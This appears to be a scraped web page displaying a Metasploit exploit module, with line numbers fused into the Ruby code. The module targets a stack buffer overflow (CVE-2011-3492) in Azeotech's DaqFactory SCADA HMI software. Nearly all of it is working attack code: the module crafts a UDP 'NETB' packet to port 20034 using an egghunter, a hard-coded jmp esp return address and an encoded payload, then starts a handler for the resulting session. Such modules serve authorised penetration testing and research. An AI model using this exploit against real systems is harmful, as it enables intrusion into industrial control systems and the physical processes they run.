Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/daq_factory_bof.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(update_info(info,13'Name' => 'DaqFactory HMI NETB Request Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in Azeotech's DaqFactory16product. The specific vulnerability is triggered when sending a specially crafted17'NETB' request to port 20034. Exploitation of this vulnerability may take a few18seconds due to the use of egghunter. This vulnerability was one of the 1419releases discovered by researcher Luigi Auriemma.20},21'Author' =>22[23'Luigi Auriemma', # Initial discovery, crash poc24'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit25],26'References' =>27[28[ 'CVE', '2011-3492'],29[ 'OSVDB', '75496'],30[ 'URL', 'http://aluigi.altervista.org/adv/daqfactory_1-adv.txt'],31[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-264-01']32],33'DefaultOptions' =>34{35'EXITFUNC' => 'process',36'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',37},38'Payload' =>39{40'Space' => 600,41'BadChars' => "\x00",42},43'Platform' => 'win',44'Targets' =>45[46[47'DAQFactory Pro 5.85 Build 1853 on Windows XP SP3',48{49'Ret' => 0x100B9EDF, # jmp esp PEGRP32A.dll50'Offset' => 636,51}52],53],54'DisclosureDate' => '2011-09-13',55'DefaultTarget' => 0))5657register_options(58[59# Required for EIP offset60OptString.new('DHCP', [ true, "The DHCP server IP of the target", "" ]),61Opt::RPORT(20034)62])63end6465def exploit66connect_udp6768print_status("Trying target #{target.name}...")6970eggoptions ={71:checksum => false,72:eggtag => 'scar',73}7475# Correct the offset according to the 2nd IP (DHCP) length76iplen = datastore['DHCP'].length77offset = 93-iplen7879if offset >= 8080pktoffset = offset - 8081finaloffset = target['Offset']-pktoffset82elsif offset <= 7983pktoffset = 80 - offset84finaloffset = target['Offset']+pktoffset85end8687# springboard onto our unmodified payload88p = Rex::Arch::X86.jmp(750) + payload.encoded89hunter,egg = generate_egghunter(p, payload_badchars, eggoptions)9091sploit = "NETB" # NETB request overflow92sploit << rand_text_alpha_upper(233)93sploit << "\x00" # part of the packet structure94sploit << rand_text_alpha_upper(offset) # include the offset for the DHCP address95sploit << make_nops(2)96sploit << hunter97sploit << rand_text_alpha_upper(52-hunter.length-2)98sploit << [target.ret].pack("V")99sploit << rand_text_alpha_upper(12)100sploit << Rex::Arch::X86.jmp_short(-70)101sploit << egg102# packetlen needs to be adjusted to a max of 0x400 as per advisory103sploit << rand_text_alpha_upper(finaloffset-egg.length)104105# The use of rand_text_alpha_upper() ensures we always get the same length for the106# first IP address.107sploit[12,4] = rand_text_alpha_upper(4)108109udp_sock.put(sploit)110111handler112disconnect_udp113end114end115116117